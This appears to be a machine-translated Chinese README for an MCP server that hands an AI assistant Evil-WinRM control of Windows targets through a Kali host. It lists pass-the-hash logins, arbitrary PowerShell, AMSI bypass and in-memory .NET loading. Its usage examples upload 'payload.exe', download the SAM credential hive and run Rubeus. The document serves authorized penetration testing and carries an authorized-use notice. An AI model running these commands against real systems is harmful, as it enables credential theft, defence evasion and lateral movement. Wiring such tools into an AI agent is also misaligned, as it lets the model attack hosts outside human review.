邪恶的WinRM MCP服务器
MCP(模型上下文协议)服务器,为AI助手提供通过SSH向Kali Linux主机执行针对Windows目标的Evil WinRM命令的能力。
概述
邪恶的WinRM 是渗透测试的终极WinRM外壳。此MCP服务器封装了Evil WinRM,以启用人工智能辅助的Windows后利用和横向移动任务。
主要特点
- 多种身份验证方法 -密码、NTLM哈希(传递哈希)和Kerberos
- PowerShell执行 -在目标上运行任意PowerShell命令
- 文件传输 -在Windows系统中上传和下载文件
- 内存执行 -加载。NET程序集和DLL,无需触摸磁盘
- AMSI旁路 -内置Bypass-4MSI功能
- 服务列举 -列出具有权限分析的服务
建筑
AI Assistant MCP Server SSH Kali Linux Evil-WinRM Windows TargetMCP服务器在本地运行,并通过SSH在远程Kali Linux主机上执行Evil WinRM命令,然后通过WinRM(端口5985/5986)连接到Windows目标。
先决条件
- Node.js 18.x或更高
- Kali Linux 安装了Evil WinRM(
gem install evil-winrm) - SSH访问 从MCP服务器主机到Kali Linux
- 网络接入 从Kali到Windows目标(WinRM端口5985/5986)
安装
# Clone the repository
git clone https://github.com/schwarztim/sec-evil-winrm-mcp.git
cd sec-evil-winrm-mcp
# Install dependencies
npm install
# Build
npm run build配置
环境变量
| 变量 | 描述 | 默认值 |
|---|---|---|
KALI_HOST | Kali Linux主机名或IP地址 | kali |
KALI_USER | Kali的SSH用户名 | kali |
SSH_KEY | SSH私钥路径(可选) | - |
EVILWINRM_DEFAULT_PORT | 默认WinRM端口 | 5985 |
Claude桌面配置
添加到您的Claude桌面配置(~/.config/Claude/claude_desktop_config.json):
{
"mcpServers": {
"evil-winrm": {
"command": "node",
"args": ["/path/to/sec-evil-winrm-mcp/dist/index.js"],
"env": {
"KALI_HOST": "your-kali-host",
"KALI_USER": "kali",
"SSH_KEY": "/path/to/ssh/key"
}
}
}
}可用工具
会话管理
| 工具 | 说明 |
|---|---|
evilwinrm_connect | 配置连接参数(主机、用户、密码/哈希、SSL、Kerberos) |
evilwinrm_get_session | 查看当前会话配置 |
evilwinrm_clear_session | 清除会话参数 |
evilwinrm_test_connection | 测试与Kali的SSH连接并验证Evil WinRM安装 |
命令执行
| 工具 | 说明 |
|---|---|
evilwinrm_exec | 在目标上执行PowerShell命令 |
evilwinrm_services | 列出Windows服务并分析权限 |
文件传输
| 工具 | 说明 |
|---|---|
evilwinrm_upload | 将文件从Kali上传到目标 |
evilwinrm_download | 将文件从目标下载到Kali |
高级功能
| 工具 | 说明 |
|---|---|
evilwinrm_menu | 显示可用的Evil WinRM内置函数 |
evilwinrm_dll_loader | 通过SMB、本地路径或HTTP加载DLL |
evilwinrm_invoke_binary | 执行。内存中的NET程序集 |
evilwinrm_bypass_amsi | 修补AMSI(反恶意软件扫描接口)保护 |
使用示例
使用密码的基本连接
1. evilwinrm_connect(host="192.168.1.100", user="administrator", password="P@ssw0rd")
2. evilwinrm_exec(command="whoami /all")
3. evilwinrm_exec(command="Get-Process | Select-Object -First 10")通过哈希攻击
1. evilwinrm_connect(
host="192.168.1.100",
user="administrator",
hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
)
2. evilwinrm_exec(command="hostname")SSL/HTTPS连接(端口5986)
1. evilwinrm_connect(
host="192.168.1.100",
user="admin",
password="secret",
port="5986",
ssl=true
)Kerberos认证
1. evilwinrm_connect(
host="dc01.corp.local",
user="admin",
password="P@ssw0rd",
realm="CORP.LOCAL"
)文件操作
# Upload a file
evilwinrm_upload(local_path="/tmp/payload.exe", remote_path="C:\\Windows\\Temp\\payload.exe")
# Download a file
evilwinrm_download(remote_path="C:\\Windows\\System32\\config\\SAM", local_path="/tmp/SAM")内存执行
# First, configure with executables path
evilwinrm_connect(
host="192.168.1.100",
user="admin",
password="secret",
execs_path="/opt/tools/dotnet"
)
# Execute .NET assembly in memory
evilwinrm_invoke_binary(binary_name="Rubeus.exe", arguments="triage")安全通知
此工具仅用于授权的安全测试和研究。
- 测试前务必获得适当的书面授权
- 仅在您拥有或明确允许测试的系统上使用
- 遵循负责任的披露做法
- 遵守所有适用的法律法规
未经授权访问计算机系统是非法的。作者不对误用此工具负责。
参考文献
许可证
MIT许可证-请参阅 许可证 了解详情。
